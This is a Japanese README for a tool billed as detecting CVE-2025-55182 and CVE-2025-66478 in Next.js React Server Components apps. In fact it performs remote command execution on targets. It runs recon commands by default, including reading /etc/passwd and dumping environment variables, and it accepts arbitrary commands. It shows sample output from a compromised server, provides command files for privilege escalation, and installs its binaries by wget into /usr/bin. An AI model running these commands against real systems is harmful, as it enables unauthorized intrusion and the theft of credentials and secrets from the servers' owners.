
React Server Componentsを使用するNext.jsアプリケーションにおけるCVE-2025-55182およびCVE-2025-66478を検出するためのコマンドラインツール。
React Server Componentsを使用するNext.jsアプリケーションにおけるCVE-2025-55182およびCVE-2025-66478を検出するためのコマンドラインツール。
wget -q -O /usr/bin/CVE-2025-55182 https://raw.githubusercontent.com/rix4uni/CVE-2025-55182/refs/heads/main/CVE-2025-55182 && chmod +x /usr/bin/CVE-2025-55182
wget -q -O /usr/bin/reportgenerator https://raw.githubusercontent.com/rix4uni/CVE-2025-55182/refs/heads/main/reportgenerator && chmod +x /usr/bin/reportgenerator
CVE-2025-55182 -d https://example.com
| オプション | 説明 | デフォルト |
|---|---|---|
-d, --domain | ターゲットURL(プロトコルがない場合は自動でhttps://を付加) | http://localhost:3000 |
-c, --command | 実行する単一コマンド | - |
-m, --multiple | セミコロンで区切った複数コマンド | - |
-f, --file | コマンドを1行ずつ記述したファイル | - |
-h, --help | ヘルプメッセージを表示 | - |
注: コマンドオプションが指定されていない場合は、デフォルトのコマンドが実行されます。
ツールはデフォルトで以下のコマンドを実行します:
cat /etc/os-release - OS情報whoami - 現在のユーザーpwd - 現在の作業ディレクトリid - ユーザーIDとグループuname -a - システム情報hostname -I - ネットワークインターフェースls -la - ディレクトリ一覧cat /etc/passwd - ユーザーアカウントenv - 環境変数ps aux - 実行中プロセスreportgenerator ツールは、スキャン結果から専門的な脆弱性開示レポートを自動生成します。
# Create a file with target domains
echo -e "https://target1.com\nhttps://target2.com" > subs.txt
# Run report generator
reportgenerator
| フラグ | 説明 | デフォルト |
|---|---|---|
--file | ターゲットドメインを含む入力ファイル | subs.txt |
--user | 開示セクションの研究者名 | Bhagirath Saxena |
# Use default settings (subs.txt, Bhagirath Saxena)
reportgenerator
# Use custom target file
reportgenerator --file targets.txt
# Use custom researcher name
reportgenerator --user "John Doe"
# Use both custom options
reportgenerator --file my-targets.txt --user "Jane Smith"
レポートは2つのディレクトリに生成されます:
textfile/ - 生スキャン出力(採番: 1.txt, 2.txt など)mdfile/ - プロフェッショナルなMarkdownレポート(採番: 1.md, 2.md など)注: 自動採番機能により、既存のレポートが上書きされることはありません。新しいスキャンは、既存の最大番号から続けて採番されます。
各生成レポートには以下が含まれます:
▼ 🎯 TARGET: https://vulnerable-app.com
▼ 📋 COMMANDS TO RUN: 10
• cat /etc/os-release
• whoami
• pwd
• id
• uname -a
• hostname -I
• ls -la
• cat /etc/passwd
• env
• ps aux
[1/10] Executing: cat /etc/os-release
▼ 💻 OS INFORMATION
║ NAME="Ubuntu"
║ VERSION="22.04.3 LTS (Jammy Jellyfish)"
║ ID=ubuntu
║ ID_LIKE=debian
║ PRETTY_NAME="Ubuntu 22.04.3 LTS"
║ ...
[2/10] Executing: whoami
▼ 👤 CURRENT USER
║ www-data
...
[3/10] Executing: pwd
▼ 📂 CURRENT DIRECTORY
║ /var/www/html
...
[6/10] Executing: hostname -I
╔════════════════════════════════════════════════════════════╗
║ Command failed: hostname -I
║ This command might not be available or the server rejected it
╚════════════════════════════════════════════════════════════╝
[!] Trying alternative network command...
▼ 🌐 NETWORK INTERFACES (alternative)
║ 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
║ link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
║ inet 127.0.0.1/8 scope host lo
║ valid_lft forever preferred_lft forever
...
commands/ ディレクトリの例:さまざまなシナリオ向けのサンプルコマンドファイルを作成:
# commands/basic-recon.txt
whoami
id
uname -a
cat /etc/os-release
hostname
# commands/network-recon.txt
ifconfig
netstat -tulpn
iptables -L
cat /etc/hosts
cat /etc/resolv.conf
# commands/privilege-escalation.txt
sudo -l
find / -perm -4000 2>/dev/null
cat /etc/sudoers
ls -la /root/